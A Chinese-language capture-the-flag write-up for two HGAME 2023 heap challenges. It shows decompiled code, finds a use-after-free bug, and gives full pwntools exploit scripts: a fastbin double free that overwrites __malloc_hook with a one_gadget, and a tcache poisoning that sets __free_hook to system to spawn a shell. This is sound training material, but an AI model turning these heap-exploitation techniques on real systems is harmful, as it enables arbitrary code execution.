new_fast_note

[HGAME 2023 week2]new_fast_note

准备

分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int n4; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
init(argc, argv, envp);
while ( 1 )
{
menu();
__isoc99_scanf("%d", &n4);
if ( n4 == 4 )
exit(0);
if ( n4 > 4 )
{
LABEL_12:
puts("Wrong choice!");
}
else
{
switch ( n4 )
{
case 3:
show_note();
break;
case 1:
add_note();
break;
case 2:
delete_note();
break;
default:
goto LABEL_12;
}
}
}
}

就一个堆题正常的菜单,有增删查功能,依次查看

1-add_note(add)函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
unsigned __int64 add_note()
{
unsigned int n0x13_1; // ebx
unsigned int n0x13; // [rsp+0h] [rbp-20h] BYREF
_DWORD size[7]; // [rsp+4h] [rbp-1Ch] BYREF

*(_QWORD *)&size[1] = __readfsqword(0x28u);
printf("Index: ");
__isoc99_scanf("%u", &n0x13);
if ( n0x13 <= 0x13 )
{
printf("Size: ");
__isoc99_scanf("%u", size);
if ( size[0] <= 0xFFu )
{
n0x13_1 = n0x13;
*((_QWORD *)&notes + n0x13_1) = malloc(size[0]);
printf("Content: ");
read(0, *((void **)&notes + n0x13), size[0]);
}
else
{
puts("Too big.");
}
}
else
{
puts("There are only 20 pages in this notebook.");
}
return __readfsqword(0x28u) ^ *(_QWORD *)&size[1];
}

这里是添加堆块,限制了创建堆块的个数和大小

2-delete_note(delete)函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 delete_note()
{
unsigned int n0xF; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("Index: ");
__isoc99_scanf("%u", &n0xF);
if ( n0xF <= 0xF )
{
if ( *((_QWORD *)&notes + n0xF) )
free(*((void **)&notes + n0xF));
else
puts("Page not found.");
}
else
{
puts("There are only 16 pages in this notebook.");
}
return __readfsqword(0x28u) ^ v2;
}

这里释放后,没修改指针,存在UAF漏洞

3-show_note(show)函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 show_note()
{
unsigned int n0xF; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("Index: ");
__isoc99_scanf("%u", &n0xF);
if ( n0xF <= 0xF )
{
if ( *((_QWORD *)&notes + n0xF) )
puts(*((const char **)&notes + n0xF));
else
puts("Page not found.");
}
else
{
puts("There are only 16 pages in this notebook.");
}
return __readfsqword(0x28u) ^ v2;
}

正常的输出

思路

这题是libc-2.31,存在tcachebin,并且有UAF漏洞,可以想办法往malloc_hook中写入one_gadget,获得连接
1.我们可以通过填充满tcache bin,来达到释放大块进入unsorted bin的目的
2.然后通过UAF,获得libc基址,进而得到malloc__hook地址
3.最后因为没有edit函数,所以要进行double free,来使堆块链接到malloc_hook,写入one_gadget,获得连接
先通过循环添加和释放,填充满tcache bin(最多7个chunk),一个堆块进入unsorted bin中
这里有两种构造循环方法:
1.正序创建和释放,但为了防止最后一个chunk释放后被合并,我们创建时要多创建一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context.log_level = "debug"
# io=remote('pwn.challenge.ctf.show',28120)
io= process('/home/motaly/vuln')
elf=ELF('/home/motaly/vuln')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.31-0ubuntu9.17_amd64/libc-2.31.so')

def add(index,size,content):
io.sendlineafter(">", "1")
io.sendlineafter("Index:", str(index))
io.sendlineafter("Size:", str(size))
io.sendlineafter("Content:", content)

def delete(index):
io.sendlineafter(">", "2")
io.sendlineafter("Index:", str(index))

def show(index):
io.sendlineafter(">", "3")
io.sendlineafter("Index:", str(index))

for i in range(9): #0-8
add(i,0x98,'aaaaaa')

for i in range(8): #0-7
delete(i)


2.正序创建,倒序释放

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context.log_level = "debug"
# io=remote('pwn.challenge.ctf.show',28120)
io= process('/home/motaly/vuln')
elf=ELF('/home/motaly/vuln')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.31-0ubuntu9.17_amd64/libc-2.31.so')

def add(index,size,content):
io.sendlineafter(">", "1")
io.sendlineafter("Index:", str(index))
io.sendlineafter("Size:", str(size))
io.sendlineafter("Content:", content)

def delete(index):
io.sendlineafter(">", "2")
io.sendlineafter("Index:", str(index))

def show(index):
io.sendlineafter(">", "3")
io.sendlineafter("Index:", str(index))

for i in range(8): #0-7
add(i,0x98,'aaaaaa')

for i in range(7,-1,-1): #7-0
delete(i)


我们可以获取unsorted bin中的数值,而unsorted bin中的的数据在libc中,所以可以通过计算这个值与libc的差值,来获得libc基址

1.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
for i in range(9): #0-8
add(i,0x98,'aaaaaa')

for i in range(8): #0-7
delete(i)

show(7)
io.recv()
libc_base=u64(io.recv(6)[-6:].ljust(8,b'\x00'))-0x1ecbe0
log.success('libc_base :'+hex(libc_base))
malloc_hook=libc_base+libc.sym['__malloc_hook']
log.success('malloc_hook :'+hex(malloc_hook))
one_gadget=libc_base+0xe3b01
log.success('one_gadget :'+hex(one_gadget))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
for i in range(8): #0-7
add(i,0x98,'aaaaaa')

for i in range(7,-1,-1): #7-0
delete(i)

show(0)
io.recv()
libc_base=u64(io.recv(6)[-6:].ljust(8,b'\x00'))-0x1ecbe0
log.success('libc_base :'+hex(libc_base))
malloc_hook=libc_base+libc.sym['__malloc_hook']
log.success('malloc_hook :'+hex(malloc_hook))
one_gadget=libc_base+0xe3b01
log.success('one_gadget :'+hex(one_gadget))

因为2.31版本中有了对tcache bin的double free检测,所以我们只能在fast bin中进行double free,对tcache bin再次进行填充满,额外创建两个块(给后面进入fast bin进行double free),先释放填充tcache bin的块,在释放额外的块进行double free
1.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
for i in range(9): #0-8
add(i,0x98,'aaaaaa')

for i in range(8): #0-7
delete(i)

show(7)
io.recv()
libc_base=u64(io.recv(6)[-6:].ljust(8,b'\x00'))-0x1ecbe0
log.success('libc_base :'+hex(libc_base))
malloc_hook=libc_base+libc.sym['__malloc_hook']
log.success('malloc_hook :'+hex(malloc_hook))
one_gadget=libc_base+0xe3b01
log.success('one_gadget :'+hex(one_gadget))

for i in range(7): #0-6
add(i,0x68,'bbbbbb')
add(8,0x68,'cccccc')
add(9,0x68,'dddddd')

for i in range(7): #0-6
delete(i)

delete(8)
delete(9)
delete(8)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
for i in range(8): #0-7
add(i,0x98,'aaaaaa')

for i in range(7,-1,-1): #7-0
delete(i)

show(0)
io.recv()
libc_base=u64(io.recv(6)[-6:].ljust(8,b'\x00'))-0x1ecbe0
log.success('libc_base :'+hex(libc_base))
malloc_hook=libc_base+libc.sym['__malloc_hook']
log.success('malloc_hook :'+hex(malloc_hook))
one_gadget=libc_base+0xe3b01
log.success('one_gadget :'+hex(one_gadget))

for i in range(7): #0-6
add(i,0x68,'bbbbbb')
add(8,0x68,'cccccc')
add(9,0x68,'dddddd')

for i in range(6,-1,-1): #0-6
delete(i)

delete(8)
delete(9)
delete(8)


先通过循环读取tcache bin中0x70大小的堆块,在读取一块0x70大小的块,写入malloc_hook地址
(这里写入是直接写在malloc_hook中,所以不需要通过减0x23和偏移量来往malloc_hook中写入)
1.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
for i in range(9): #0-8
add(i,0x98,'aaaaaa')

for i in range(8): #0-7
delete(i)

show(7)
io.recv()
libc_base=u64(io.recv(6)[-6:].ljust(8,b'\x00'))-0x1ecbe0
log.success('libc_base :'+hex(libc_base))
malloc_hook=libc_base+libc.sym['__malloc_hook']
log.success('malloc_hook :'+hex(malloc_hook))
one_gadget=libc_base+0xe3b01
log.success('one_gadget :'+hex(one_gadget))

for i in range(7): #0-6
add(i,0x78,'bbbbbb')
add(8,0x68,'cccccc')
add(9,0x68,'dddddd')

for i in range(7): #0-6
delete(i)

delete(8)
delete(9)
delete(8)

for i in range(7): #0-6
add(i, 0x68, b'000')

add(7,0x68,p64(malloc_hook))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
for i in range(8): #0-7
add(i,0x98,'aaaaaa')

for i in range(7,-1,-1): #7-0
delete(i)

show(0)
io.recv()
libc_base=u64(io.recv(6)[-6:].ljust(8,b'\x00'))-0x1ecbe0
log.success('libc_base :'+hex(libc_base))
malloc_hook=libc_base+libc.sym['__malloc_hook']
log.success('malloc_hook :'+hex(malloc_hook))
one_gadget=libc_base+0xe3b01
log.success('one_gadget :'+hex(one_gadget))

for i in range(7): #0-6
add(i,0x68,'bbbbbb')
add(8,0x68,'cccccc')
add(9,0x68,'dddddd')

for i in range(6,-1,-1): #0-6
delete(i)

delete(8)
delete(9)
delete(8)

for i in range(7): #0-6
add(i, 0x68, b'000')

add(7,0x68,p64(malloc_hook))

此时已成功把malloc_hook写到bins链中,之后我们在创建三个块,第三个的地址就是malloc_hook,所以在创建第三块的时候,写入数据one_gadget
1.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
for i in range(9): #0-8
add(i,0x98,'aaaaaa')

for i in range(8): #0-7
delete(i)

show(7)
io.recv()
libc_base=u64(io.recv(6)[-6:].ljust(8,b'\x00'))-0x1ecbe0
log.success('libc_base :'+hex(libc_base))
malloc_hook=libc_base+libc.sym['__malloc_hook']
log.success('malloc_hook :'+hex(malloc_hook))
one_gadget=libc_base+0xe3b01
log.success('one_gadget :'+hex(one_gadget))

for i in range(7): #0-6
add(i,0x68,'bbbbbb')
add(8,0x68,'cccccc')
add(9,0x68,'dddddd')

for i in range(7): #0-6
delete(i)

delete(8)
delete(9)
delete(8)

for i in range(7): #0-6
add(i, 0x68, b'000')

add(7,0x68,p64(malloc_hook))

add(8, 0x68, b'pppppp')
add(9, 0x68, b'qqqqqq')

add(10,0x68,p64(one_gadget))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
for i in range(8): #0-7
add(i,0x98,'aaaaaa')

for i in range(7,-1,-1): #7-0
delete(i)

show(0)
io.recv()
libc_base=u64(io.recv(6)[-6:].ljust(8,b'\x00'))-0x1ecbe0
log.success('libc_base :'+hex(libc_base))
malloc_hook=libc_base+libc.sym['__malloc_hook']
log.success('malloc_hook :'+hex(malloc_hook))
one_gadget=libc_base+0xe3b01
log.success('one_gadget :'+hex(one_gadget))

for i in range(7): #0-6
add(i,0x68,'bbbbbb')
add(8,0x68,'cccccc')
add(9,0x68,'dddddd')

for i in range(6,-1,-1): #0-6
delete(i)

delete(8)
delete(9)
delete(8)

for i in range(7): #0-6
add(i, 0x68, b'000')

add(7,0x68,p64(malloc_hook))
gdb.attach(io)
add(8, 0x68, b'pppppp')
add(9, 0x68, b'qqqqqq')

add(10,0x68,p64(one_gadget))

验证

最后通过创建堆块,触发连接
(不过这里最后,不能写内容参数,所以我就一句句创建)
1.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
for i in range(9): #0-8
add(i,0x98,'aaaaaa')

for i in range(8): #0-7
delete(i)

show(7)
io.recv()
libc_base=u64(io.recv(6)[-6:].ljust(8,b'\x00'))-0x1ecbe0
log.success('libc_base :'+hex(libc_base))
malloc_hook=libc_base+libc.sym['__malloc_hook']
log.success('malloc_hook :'+hex(malloc_hook))
one_gadget=libc_base+0xe3b01
log.success('one_gadget :'+hex(one_gadget))

for i in range(7): #0-6
add(i,0x68,'bbbbbb')
add(8,0x68,'cccccc')
add(9,0x68,'dddddd')

for i in range(7): #0-6
delete(i)

delete(8)
delete(9)
delete(8)

for i in range(7): #0-6
add(i, 0x68, b'000')

add(7,0x68,p64(malloc_hook))

add(8, 0x68, b'pppppp')
add(9, 0x68, b'qqqqqq')

add(10,0x68,p64(one_gadget))

io.sendlineafter(b'>', b'1')
io.sendlineafter(b'Index: ', b'11')
io.sendlineafter(b'Size: ', b'68')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
for i in range(8): #0-7
add(i,0x98,'aaaaaa')

for i in range(7,-1,-1): #7-0
delete(i)

show(0)
io.recv()
libc_base=u64(io.recv(6)[-6:].ljust(8,b'\x00'))-0x1ecbe0
log.success('libc_base :'+hex(libc_base))
malloc_hook=libc_base+libc.sym['__malloc_hook']
log.success('malloc_hook :'+hex(malloc_hook))
one_gadget=libc_base+0xe3b01
log.success('one_gadget :'+hex(one_gadget))

for i in range(7): #0-6
add(i,0x68,'bbbbbb')
add(8,0x68,'cccccc')
add(9,0x68,'dddddd')

for i in range(6,-1,-1): #0-6
delete(i)

delete(8)
delete(9)
delete(8)

for i in range(7): #0-6
add(i, 0x68, b'000')

add(7,0x68,p64(malloc_hook))

add(8, 0x68, b'pppppp')
add(9, 0x68, b'qqqqqq')

add(10,0x68,p64(one_gadget))

io.sendlineafter(b'>', b'1')
io.sendlineafter(b'Index: ', b'11')
io.sendlineafter(b'Size: ', b'68')

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
context.log_level = "debug"
# io=remote('pwn.challenge.ctf.show',28120)
io= process('/home/motaly/vuln')
elf=ELF('/home/motaly/vuln')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.31-0ubuntu9.17_amd64/libc-2.31.so')

def add(index,size,content):
io.sendlineafter(">", "1")
io.sendlineafter("Index:", str(index))
io.sendlineafter("Size:", str(size))
io.sendlineafter("Content:", content)

def delete(index):
io.sendlineafter(">", "2")
io.sendlineafter("Index:", str(index))

def show(index):
io.sendlineafter(">", "3")
io.sendlineafter("Index:", str(index))

for i in range(9): #0-8
add(i,0x98,'aaaaaa')

for i in range(8): #0-7
delete(i)

show(7)
io.recv()
libc_base=u64(io.recv(6)[-6:].ljust(8,b'\x00'))-0x1ecbe0
log.success('libc_base :'+hex(libc_base))
malloc_hook=libc_base+libc.sym['__malloc_hook']
log.success('malloc_hook :'+hex(malloc_hook))
one_gadget=libc_base+0xe3b01
log.success('one_gadget :'+hex(one_gadget))

for i in range(7): #0-6
add(i,0x68,'bbbbbb')
add(8,0x68,'cccccc')
add(9,0x68,'dddddd')

for i in range(7): #0-6
delete(i)

delete(8)
delete(9)
delete(8)

for i in range(7): #0-6
add(i, 0x68, b'000')

add(7,0x68,p64(malloc_hook))

add(8, 0x68, b'pppppp')
add(9, 0x68, b'qqqqqq')

add(10,0x68,p64(one_gadget))

io.sendlineafter(b'>', b'1')
io.sendlineafter(b'Index: ', b'11')
io.sendlineafter(b'Size: ', b'68')

io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
context.log_level = "debug"
# io=remote('pwn.challenge.ctf.show',28120)
io= process('/home/motaly/vuln')
elf=ELF('/home/motaly/vuln')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.31-0ubuntu9.17_amd64/libc-2.31.so')

def add(index,size,content):
io.sendlineafter(">", "1")
io.sendlineafter("Index:", str(index))
io.sendlineafter("Size:", str(size))
io.sendlineafter("Content:", content)

def delete(index):
io.sendlineafter(">", "2")
io.sendlineafter("Index:", str(index))

def show(index):
io.sendlineafter(">", "3")
io.sendlineafter("Index:", str(index))

for i in range(8): #0-7
add(i,0x98,'aaaaaa')

for i in range(7,-1,-1): #7-0
delete(i)

show(0)
io.recv()
libc_base=u64(io.recv(6)[-6:].ljust(8,b'\x00'))-0x1ecbe0
log.success('libc_base :'+hex(libc_base))
malloc_hook=libc_base+libc.sym['__malloc_hook']
log.success('malloc_hook :'+hex(malloc_hook))
one_gadget=libc_base+0xe3b01
log.success('one_gadget :'+hex(one_gadget))

for i in range(7): #0-6
add(i,0x68,'bbbbbb')
add(8,0x68,'cccccc')
add(9,0x68,'dddddd')

for i in range(6,-1,-1): #0-6
delete(i)

delete(8)
delete(9)
delete(8)

for i in range(7): #0-6
add(i, 0x68, b'000')

add(7,0x68,p64(malloc_hook))

add(8, 0x68, b'pppppp')
add(9, 0x68, b'qqqqqq')

add(10,0x68,p64(one_gadget))
gdb.attach(io)
io.sendlineafter(b'>', b'1')
io.sendlineafter(b'Index: ', b'11')
io.sendlineafter(b'Size: ', b'68')

io.interactive()

editable_note

[HGAME 2023 week2]editable_note

准备

分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
init(argc, argv, envp);
while ( 1 )
{
menu();
__isoc99_scanf("%d", &v4);
switch ( v4 )
{
case 1:
add_note();
break;
case 2:
delete_note();
break;
case 3:
edit_note();
break;
case 4:
show_note();
break;
case 5:
exit(0);
default:
puts("Wrong choice!");
break;
}
}
}

就一个堆题正常的菜单,有增删改查功能,依次查看

1-add_note函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
unsigned __int64 add_note()
{
unsigned int n0xF_1; // ebx
unsigned int n0xF; // [rsp+0h] [rbp-20h] BYREF
_DWORD size[7]; // [rsp+4h] [rbp-1Ch] BYREF

*(_QWORD *)&size[1] = __readfsqword(0x28u);
printf("Index: ");
__isoc99_scanf("%u", &n0xF);
if ( n0xF <= 0xF )
{
if ( notes[n0xF] )
{
printf("This page has been used.");
}
else
{
printf("Size: ");
__isoc99_scanf("%u", size);
if ( size[0] <= 0xFFu )
{
n0xF_1 = n0xF;
notes[n0xF_1] = malloc(size[0]);
note_size[n0xF] = size[0];
}
else
{
puts("Too big.");
}
}
}
else
{
puts("There are only 16 pages in this notebook.");
}
return __readfsqword(0x28u) ^ *(_QWORD *)&size[1];
}

正常的创建,限制创建个数和大小

2-delete_note函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 delete_note()
{
unsigned int n0xF; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("Index: ");
__isoc99_scanf("%u", &n0xF);
if ( n0xF <= 0xF )
{
if ( notes[n0xF] )
free((void *)notes[n0xF]);
else
puts("Page not found.");
}
else
{
puts("There are only 16 pages in this notebook.");
}
return __readfsqword(0x28u) ^ v2;
}

释放后没有修改指针,存在UAF漏洞

3-edit_note函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned __int64 edit_note()
{
unsigned int n0xF; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("Index: ");
__isoc99_scanf("%u", &n0xF);
if ( n0xF <= 0xF )
{
if ( notes[n0xF] )
{
printf("Content: ");
read(0, (void *)notes[n0xF], (unsigned int)note_size[n0xF]);
}
else
{
puts("Page not found.");
}
}
else
{
puts("There are only 16 pages in this notebook.");
}
return __readfsqword(0x28u) ^ v2;
}

正常修改

4-show_note函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 show_note()
{
unsigned int n0xF; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("Index: ");
__isoc99_scanf("%u", &n0xF);
if ( n0xF <= 0xF )
{
if ( notes[n0xF] )
puts((const char *)notes[n0xF]);
else
puts("Page not found.");
}
else
{
puts("There are only 16 pages in this notebook.");
}
return __readfsqword(0x28u) ^ v2;
}

输出

思路

这题是2.31版本,有tcachebin,存在UAF
所以直接通过UAF,改free_hook为system地址,最后释放带有’/bin/sh’内容的块
先构造填满tcachebin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
context.log_level = "debug"
io=remote('node5.anna.nssctf.cn',29183)
# io= process('/home/motaly/note')
elf=ELF('/home/motaly/note')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.31-0ubuntu9.17_amd64/libc-2.31.so')

def add(index,size):
io.sendlineafter(">", "1")
io.sendlineafter("Index:", str(index))
io.sendlineafter("Size:", str(size))

def edit(index,content):
io.sendlineafter(">", "3")
io.sendlineafter("Index:", str(index))
io.sendlineafter("Content:", content)

def delete(index):
io.sendlineafter(">", "2")
io.sendlineafter("Index:", str(index))

def show(index):
io.sendlineafter(">", "4")
io.sendlineafter("Index:", str(index))

for i in range(8): #0-7
add(i,0x98)

for i in range(7): #7-1
delete(7-i)

tcachebin最多存放7块
这里倒着释放是因为,正着释放有时候最后会合并出问题,所以这里倒着释放
留一个0块

释放0块,使其进入unsortedbin中,输出获得libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
for i in range(8): #0-7
add(i,0x98)

for i in range(7): #7-1
delete(7-i)
gdb.attach(io)
delete(0)

show(0)
io.recv()
libc_base = u64(io.recv(6).ljust(8,b'\x00'))-0x1ecbe0
log.success("libc_base :"+hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']


有了libc基址后,我们就可以开始利用UAF,修改free_hook为system地址
这里先创建三个块8,9,10,我这里选用9块指向free_hook,10块存放’/bin/sh’,用作最后的释放,8块主要是后面在tcachebin中提取free_hook地址,需要两个块
(2.35版本限制,读取时不能负数)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
for i in range(8): #0-7
add(i,0x98)

for i in range(7): #7-1
delete(7-i)

delete(0)

show(0)
io.recv()
libc_base = u64(io.recv(6).ljust(8,b'\x00'))-0x1ecbe0
log.success("libc_base :"+hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

add(8,0x20) #8
add(9,0x20) #9
add(10,0x20) #10

接着把8,9块释放,并修改9,10块内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
for i in range(8): #0-7
add(i,0x98)

for i in range(7): #7-1
delete(7-i)

delete(0)

show(0)
io.recv()
libc_base = u64(io.recv(6).ljust(8,b'\x00'))-0x1ecbe0
log.success("libc_base :"+hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

add(8,0x20) #8
add(9,0x20) #9
add(10,0x20) #10
delete(8)
delete(9)

edit(10,'/bin/sh\x00')
edit(9, p64(free_hook))


成功在bin中链接到了free_hook,并且因为8块,下面我们可以成功提取2个块
进行创建提取,并修改free_hook为system地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
for i in range(8): #0-7
add(i,0x98)

for i in range(7): #7-1
delete(7-i)

delete(0)

show(0)
io.recv()
libc_base = u64(io.recv(6).ljust(8,b'\x00'))-0x1ecbe0
log.success("libc_base :"+hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

add(8,0x20) #8
add(9,0x20) #9
add(10,0x20) #10
delete(8)
delete(9)

edit(10,'/bin/sh\x00')
edit(9, p64(free_hook))

add(11,0x20)
add(12,0x20)
edit(12,p64(system))


最后删除10块,触发连接

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
context.log_level = "debug"
# io=remote('node5.anna.nssctf.cn',29183)
io= process('/home/motaly/note')
elf=ELF('/home/motaly/note')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.31-0ubuntu9.17_amd64/libc-2.31.so')

def add(index,size):
io.sendlineafter(">", "1")
io.sendlineafter("Index:", str(index))
io.sendlineafter("Size:", str(size))

def edit(index,content):
io.sendlineafter(">", "3")
io.sendlineafter("Index:", str(index))
io.sendlineafter("Content:", content)

def delete(index):
io.sendlineafter(">", "2")
io.sendlineafter("Index:", str(index))

def show(index):
io.sendlineafter(">", "4")
io.sendlineafter("Index:", str(index))

for i in range(8): #0-7
add(i,0x98)

for i in range(7): #7-1
delete(7-i)

delete(0)

show(0)
io.recv()
libc_base = u64(io.recv(6).ljust(8,b'\x00'))-0x1ecbe0
log.success("libc_base :"+hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

add(8,0x20) #8
add(9,0x20) #9
add(10,0x20) #10
delete(8)
delete(9)

edit(10,'/bin/sh\x00')
edit(9, p64(free_hook))

add(11,0x20)
add(12,0x20)
edit(12,p64(system))

delete(10)

io.interactive()